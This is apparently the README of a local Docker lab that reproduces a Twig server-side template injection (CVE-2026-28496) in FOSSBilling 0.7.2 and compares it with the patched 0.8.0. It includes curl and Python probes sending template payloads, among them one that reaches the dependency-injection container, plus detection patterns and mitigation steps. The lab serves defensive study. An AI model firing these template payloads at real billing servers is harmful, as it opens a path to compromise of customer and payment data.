취약한 대상에서 API 호출은 반환합니다:```json
{"result":"49","error":null}

이 실험실은 FOSSBilling 0.7.2 및 FOSSBilling 0.8.0을 사용하여 취약한 HTTP 동작과 패치된 HTTP 동작을 검증합니다.

이 실험실은 의도적으로 로컬 Docker 서비스로 범위가 제한됩니다. 외부 시스템을 대상으로 하지 않으며, 웹 셸, 악성 코드, 지속성, 외부 콜백, 데이터베이스 덤프 또는 파괴적 페이로드를 포함하지 않습니다.

## Verified Facts

| 주장                                                                               | 증거                                                                                                           | 이 실험실에서 확인하는 방법                                                              |
| ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------- |
| CVE-2026-28496은 FOSSBilling 0.8.0 이전 버전에 영향을 미칩니다.                         | 공개 CVE 및 권고 메타데이터는 FOSSBilling 0.8.0 이전 버전이 Twig SSTI의 영향을 받는 것으로 식별합니다.                     | 참조 섹션을 검토하고 취약한 대상 버전과 패치된 대상 버전을 비교하십시오.  |
| FOSSBilling 0.7.2가 취약한 비교 대상으로 사용됩니다.                      | 취약한 서비스는 공식 `fossbilling/fossbilling:0.7.2` Docker 이미지에서 빌드됩니다.                    | `vuln/Dockerfile`을 검사하고 `docker compose ps -a`를 실행하십시오.                              |
| FOSSBilling 0.8.0이 패치된 비교 대상으로 사용됩니다.                         | 패치된 서비스는 공식 `fossbilling/fossbilling:0.8.0` Docker 이미지에서 빌드됩니다.                       | `patched/Dockerfile`을 검사하고 `docker compose ps -a`를 실행하십시오.                           |
| 취약한 HTTP 경로는 `/api/system/system/string_render`입니다.                     | 취약한 대상은 `_tpl={{ 7*7 }}`에 대해 `result: \"49\"`가 포함된 JSON을 반환합니다.                                       | `python3 poc/poc.py --url http://localhost:8081`을 실행하십시오.                                  |
| 패치된 대상은 동일한 HTTP 동작을 노출하지 않습니다.                          | 패치된 대상은 `Unknown API call system/system/string_render`를 반환합니다.                                         | `python3 poc/poc.py --url http://localhost:8082`를 실행하십시오.                                  |
| PoC는 HTTP 전용입니다.                                                               | `poc/poc.py`는 HTTP POST 요청을 보내며 Docker, Docker Compose, 셸 명령 또는 컨테이너 API를 호출하지 않습니다. | `poc/poc.py`를 검사하십시오.                                                                  |
| 실험실은 Docker Compose 시작 중에 두 FOSSBilling 대상을 자동 설치합니다.       | 일회성 설치 관리자 사이드카 컨테이너가 설정을 완료하고 상태 0으로 종료합니다.                                   | `docker compose ps -a` 및 `docker compose logs installer-vuln installer-patched`를 실행하십시오. |
| 취약한 대상은 무해한 Twig 표현식을 렌더링합니다.                         | 포트 8081의 HTTP 응답은 `{\"result\":\"49\",\"error\":null}`입니다.                                                | 취약한 PoC 명령을 실행하십시오.                                                        |
| 패치된 대상은 테스트된 API 경로를 통해 동일한 표현식을 렌더링하지 않습니다. | 포트 8082의 HTTP 응답은 코드 `879`가 포함된 JSON API 오류입니다.                                              | 패치된 PoC 명령을 실행하십시오.                                                           |

## Assumptions and Unknowns

이 실험실은 공개 취약점 연구에서 FOSSBilling 0.8.0 이전 버전이 영향을 받는 것으로 식별하고, 0.7.2가 테스트된 체인에서 사용된 최신 취약한 릴리스이므로 취약한 비교 대상으로 FOSSBilling 0.7.2를 사용합니다.

이 실험실은 공개 권고 메타데이터가 0.8.0을 패치된 버전으로 식별하므로 패치된 비교 대상으로 FOSSBilling 0.8.0을 사용합니다.

이 실험실은 관찰 가능한 HTTP 동작에 초점을 맞춥니다:```text
POST /api/system/system/string_render

이 실습은 FOSSBilling 0.7.2가 HTTP API 경로를 통해 제공된 Twig 표현식을 렌더링하는 반면, FOSSBilling 0.8.0은 동일한 API 호출을 노출하지 않음을 보여줍니다.

이 실습은 모든 FOSSBilling 템플릿 렌더링 기능을 테스트한다고 주장하지 않습니다. CVE-2026-28496은 또한 애플리케이션 내부에서 사용 가능한 템플릿 렌더링 기능과 같은 다른 Twig 렌더링 컨텍스트와 관련이 있습니다.

이 실습은 완전한 인증되지 않은 원격 코드 실행 체인을 시연하지 않습니다. 이는 로컬 FOSSBilling 0.7.2 타겟에서 관찰된 인증되지 않은 HTTP 동작을 검증하고 FOSSBilling 0.8.0과 비교합니다. 전체 공개 체인은 여기에 표시된 안전한 Twig 표현식 검증을 넘어 추가적인 API 권한 부여 동작을 포함합니다.

이 실습은 다음을 시연하지 않습니다:

* 원격 명령 실행,
* 자격 증명 추출,
* 데이터베이스 덤프,
* 확장 프로그램 설치,
* 임의 파일 쓰기,
* 지속성,
* 웹 셸 업로드,
* 외부 콜백,
* 비실습 시스템에 대한 공격,
* 또는 사후 침해 활동.

## 근본 원인 요약

CVE-2026-28496의 근본 원인은 안전하지 않은 Twig 템플릿 렌더링입니다.

FOSSBilling은 동적 템플릿을 렌더링하기 위해 Twig를 사용합니다. 취약한 버전에서는 제공된 템플릿 문자열이 충분한 샌드박스 제한 없이 Twig 렌더링 로직에 전달될 수 있습니다.

취약한 동작은 다음과 같이 요약할 수 있습니다:```text
Input template string
→ FOSSBilling API receives _tpl
→ System\Api\Admin::string_render() reads _tpl
→ System\Service::renderString() receives the template string
→ Twig creates a template from the supplied string
→ Twig evaluates the expression
→ rendered output is returned in the HTTP response

취약한 대상이 표현식을 평가하고 반환합니다:```text
49

FOSSBilling 0.8.0에서 패치된 설계는 취약한 동작을 강화합니다. 이 실습에서는 패치된 대상이 더 이상 테스트된 API 호출을 노출하지 않습니다:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

## 소스 코드 분석

취약한 HTTP 동작은 FOSSBilling 0.7.2의 소스 코드 경로에 의해 뒷받침됩니다.

API 메서드는 요청 데이터에서 `_tpl`을 받아 시스템 서비스 렌더러로 전달합니다.

관련 취약 진입점:```php
public function string_render($data)
{
    if (!isset($data['_tpl'])) {
        error_log('_tpl parameter not passed');
        return '';
    }

    $tpl = $data['_tpl'];
    $try_render = $data['_try'] ?? false;

    $vars = $data;
    unset($vars['_tpl'], $vars['_try']);

    return $this->getService()->renderString($tpl, $try_render, $vars);
}

In FOSSBilling 0.7.2, `renderString()` attempts to load the supplied value as a template name. If that fails, it treats the supplied value as a template string and passes it into `createTemplateFromString()`.

Simplified vulnerable flow:```php
public function renderString($tpl, $try_render, $vars)
{
    $twig = $this->di['twig'];

    try {
        $template = $twig->load($tpl);
        $parsed = $template->render($vars);
    } catch (\Exception) {
        // $twig->load throws an exception when $tpl is a raw template string
        $parsed = $this->createTemplateFromString($tpl, $try_render, $vars);
    }

    return $parsed;
}

    if (!$try_render) {
        throw $e;
    }
}

return $parsed;

보안 관련 소스 패턴은 다음과 같습니다.```text
_tpl from request data
→ used as $tpl
→ passed to Twig createTemplate()
→ rendered server-side

취약한 응답:```json
{"result":"49","error":null}

그러나 근본 원인은 산술 표현식 평가보다 보안에 더 민감합니다. 취약한 렌더링 컨텍스트에서 Twig 템플릿은 템플릿 환경에 존재하는 애플리케이션 객체와 상호 작용할 수 있습니다. 공개 연구에서는 API 컨텍스트 객체가 의존성 주입 컨테이너와 같은 애플리케이션 내부에 대한 접근을 노출할 수 있는 더 높은 영향을 미치는 체인을 설명합니다. 소스 수준의 회귀 확인은 더 깊은 동작을 확인했습니다:```text
FOSSBilling 0.7.2:
  {{ guest.getDi() }}
  → DI_VISIBLE

FOSSBilling 0.8.0:
  {{ guest.getDi() }}
  → blocked by Twig sandbox policy

The sandboxed renderer creates and renders a template, but catches Twig sandbox violations and converts them into a controlled application error:```php
final class SandboxedStringRenderer
{
    public static function render(
        Environment $twig,
        string $content,
        array $context = [],
        string $name = 'template'
    ): string {
        try {
            return $twig->createTemplate($content)->render($context);
        } catch (SecurityError $e) {
            throw new InformationException(
                '%name% contains disallowed Twig syntax: %error%',
                [
                    '%name%' => $name,
                    '%error%' => $e->getMessage(),
                ]
            );
        }
    }
}

보안 관련 변경 사항은 다음과 같습니다:```text
Before:
  request-controlled template string
  → Twig createTemplate()
  → render without the patched sandbox boundary

After:
  template string rendering
  → SandboxedStringRenderer
  → Twig sandbox policy
  → method/property access denied by default

이는 두 가지 유용한 검증 계층을 제공합니다:```text
HTTP behavior validation:
  0.7.2 renders {{ 7*7 }} through /api/system/system/string_render.
  0.8.0 does not expose the same API behavior.

Source/root-cause validation:
  0.7.2 allows unsafe Twig rendering behavior.
  0.8.0 introduces sandboxed string rendering and blocks method/property access.

## 랩 아키텍처

이 랩은 Docker Compose를 통해 두 개의 격리된 FOSSBilling 설치를 실행합니다.```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── scripts/
│   └── auto-install.sh
├── README.md
└── .gitignore

The lab uses pinned FOSSBilling versions:

| Target                | FOSSBilling version | Expected behavior                                   |
| --------------------- | ------------------: | --------------------------------------------------- |
| http://localhost:8081 |               0.7.2 | renders `{{ 7*7 }}` through the vulnerable API path |
| http://localhost:8082 |               0.8.0 | does not expose the same vulnerable API behavior    |

The installer sidecars run automatically during `docker compose up`. They initialize both FOSSBilling targets with local disposable database credentials and then exit.

The lab does not create or modify the vulnerable API route.

The route `/api/system/system/string_render` is provided by the FOSSBilling application in the vulnerable 0.7.2 target after installation. The Docker lab only installs the application through its normal installer flow and then sends an HTTP request to the existing application endpoint.

The patched 0.8.0 target returns `Unknown API call system/system/string_render`, which confirms that the tested route behavior comes from the application version itself rather than from a lab-created route.

## Requirements

* Docker Desktop or Docker Engine
* Docker Compose v2
* Python 3
* Internet access during first Docker image pull

No Python third-party package is required. The PoC uses Python standard library modules only.

## Quick Start

Start the lab from a clean state:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

예상 실행 중인 서비스:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db

설치 프로그램 로그를 확인하세요:```bash
docker compose logs installer-vuln installer-patched

취약한 대상에 대해 HTTP 유효성 검사를 실행합니다:```bash
python3 poc/poc.py --url http://localhost:8081

## PoC 사용법

PoC는 하나의 로컬 FOSSBilling 기본 URL을 허용합니다:```bash
python3 poc/poc.py --url <target_url>

PoC는 다음 HTTP 요청을 전송합니다:```text
POST /api/system/system/string_render
Content-Type: application/json

PoC는 HTTP 전용입니다. Docker, Docker Compose, 쉘 명령, WP-CLI 또는 컨테이너 API를 호출하지 않습니다.

## Expected Results

### Vulnerable Target

명령:```bash
python3 poc/poc.py --url http://localhost:8081

### 패치된 대상

명령어:```bash
python3 poc/poc.py --url http://localhost:8082

중요한 차이점은:```text
FOSSBilling 0.7.2
→ renders {{ 7*7 }}
→ returns 49

FOSSBilling 0.8.0
→ does not render the supplied template through this API path
→ returns an API error

요청 본문에 무해한 Twig 표현식이 포함되어 있습니다:```json
{"_tpl":"{{ 7*7 }}"}

예상 패치된 동작:```text
HTTP 400 Bad Request
JSON error indicates the API call is unknown or not reachable

더 깊은 소스 수준의 근본 원인 검증을 위해, 메서드 접근은 근본적인 문제의 더 강력한 증거입니다. 그러나 이 저장소의 공개 PoC는 높은 영향을 미치는 체인을 시연하지 않기 위해 더 안전한 산술 표현식을 사용합니다.

## curl을 사용한 수동 HTTP 재현

취약한 프로브:```bash
curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

패치된 프로브:```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

## 영향

청구 및 고객 관리 플랫폼에서의 서버 측 템플릿 인젝션(Server-Side Template Injection)은 보안에 민감합니다. 이는 애플리케이션이 고객 기록, 청구 데이터, 서버 자격 증명, 결제 구성, 관리자가 제어하는 자동화 로직을 저장할 수 있기 때문입니다.

제시된 실험실 페이로드는 무해하며, 단지 다음을 평가합니다:```twig
{{ 7*7 }}

의심스러운 요청 패턴:```text
POST /api/system/system/string_render
Content-Type: application/json

액세스 로그 패턴 예시:```text
POST /api/system/system/string_render

권장 모니터링 조치:

* 웹 서버 접근 로그에서 `/api/system/system/string_render` 확인
* JSON 요청 본문에서 `_tpl`이 포함된 요청 확인
* `{{` 및 `}}`와 같은 Twig 구문이 포함된 요청 확인
* 렌더링된 템플릿 출력이 포함된 성공적인 API 응답 확인
* 의심스러운 템플릿 렌더링 시도에 대한 실패한 API 응답 확인
* 익스플로잇이 의심되는 경우 관리자 활동 확인
* 템플릿, 이메일, 대량 메일러 및 결제 어댑터 구성 변경 사항 확인
* 템플릿 렌더링 오류 또는 예상치 못한 API 호출에 대한 애플리케이션 로그 확인

고신호 탐지 아이디어:```text
POST request to /api/system/system/string_render
AND request body contains "_tpl"
AND request body contains "{{"

## 완화 조치 및 패치 노트

FOSSBilling을 버전 0.8.0 이상으로 업그레이드하세요.

프로덕션 환경에서는 실험 비교 버전에 머무르지 말고 최신 릴리스로 업데이트하세요.

권장 완화 단계:

* FOSSBilling을 0.8.0 이상으로 업그레이드하세요.
* 설치된 버전이 영향 범위에 포함되지 않는지 확인하세요.
* 가능한 경우 관리 API 경로에 대한 공개 접근을 제한하세요.
* 웹 접근 로그에서 `/api/system/system/string_render` 요청을 검토하세요.
* 템플릿, 이메일 템플릿, 대량 메일러, 사용자 정의 결제 어댑터에서 의심스러운 Twig 구문을 검토하세요.
* 악용이 의심되면 시크릿(secrets)을 교체하세요.
* 고객, 청구, 결제, 서버 관리 레코드에 대한 무단 접근을 검토하세요.
* WAF 규칙이나 리버스 프록시 차단은 임시 통제 수단으로 취급하고, 업그레이드를 대체하지 않습니다.

보안 엔지니어링 교훈:

* 신뢰할 수 없는 템플릿 문자열을 권한 있는 애플리케이션 컨텍스트에서 렌더링하지 마세요.
* 애플리케이션 서비스 컨테이너를 템플릿 컨텍스트에 노출하지 마세요.
* 사용자 제어 또는 관리자 제어 템플릿 기능에는 샌드박스 처리된 템플릿 렌더링을 사용하세요.
* 명시적으로 필요한 경우가 아니면 메서드 및 속성 접근을 거부하세요.
* API 인증 실패를 명시적으로 처리하고 실패 시 폐쇄(fail closed)하세요.
* 템플릿 렌더링 기능을 코드 실행에 준하는 표면으로 취급하세요.

## 유용한 확인 명령어

컨테이너 상태 확인:```bash
docker compose ps -a

웹 서비스 확인:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head

패치된 HTTP 검증 실행:```bash
python3 poc/poc.py --url http://localhost:8082

수동 패치 요청:```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

체크아웃된 소스 트리에서 패치된 샌드박스 렌더러를 검사합니다:```bash
git checkout 0.8.0

grep -R "SandboxedStringRenderer" -n src/modules src/library | head -30
grep -R "\$methods = \[\]\|\$properties = \[\]" -n src/library/FOSSBilling/Twig

FOSSBilling 응답 헤더를 확인하세요:```bash
curl -i http://127.0.0.1:8081 | grep -i 'x-fossbilling-version'
curl -i http://127.0.0.1:8082 | grep -i 'x-fossbilling-version'

컨테이너, 네트워크 및 볼륨 제거:```bash
docker compose down -v --remove-orphans

## 안전 경계

이 랩은 로컬 보안 연구와 통제된 시연 전용입니다.

소유하지 않거나 명시적 테스트 권한이 없는 시스템에 대해 PoC나 수동 curl 요청을 실행하지 마십시오.

이 랩에서 실제 프로덕션 자격 증명, 고객 데이터, 결제 데이터, API 키 또는 프로덕션 비밀을 사용하지 마십시오.

의도된 범위는 다음과 같은 로컬 Docker 서비스로 제한됩니다:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082

## 참고 자료

* CVE 기록: CVE-2026-28496
  https://www.cve.org/CVERecord?id=CVE-2026-28496

* GitHub 권고: GHSA-57mv-jm88-66jc
  https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc

* VulnCheck: FOSSBilling 인증 우회 및 Twig SSTI를 통한 인증되지 않은 RCE
  https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce

* FOSSBilling Docker 문서
  https://docs.fossbilling.org/getting-started/docker/

* FOSSBilling GitHub 저장소
  https://github.com/FOSSBilling/FOSSBilling

* FOSSBilling Docker 이미지
  https://hub.docker.com/r/fossbilling/fossbilling

* Twig 문서: 샌드박스 확장
  https://twig.symfony.com/doc/3.x/sandbox.html